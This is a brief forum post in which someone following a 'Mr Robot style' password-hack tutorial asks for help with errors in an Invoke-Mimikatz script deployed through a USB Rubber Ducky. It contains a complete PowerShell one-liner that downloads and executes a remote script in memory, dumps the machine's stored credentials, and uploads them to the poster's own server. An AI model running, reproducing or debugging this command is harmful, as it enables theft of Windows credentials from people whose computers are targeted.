Sorry for being so bland. My fault.
So I was following the "15 Second Password Hack, Mr Robot Style" instructions for setting up my ducky and webserver. From what I can tell from the output of powershell, I am getting the 2 errors stated in my original post. They seem to be pointing to 2 different places in the invoke-mimikatz file (im.ps1) powershell script. I get the 2 errors above when I run,
powershell "IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('https://mywebserver/rx.php', $output)"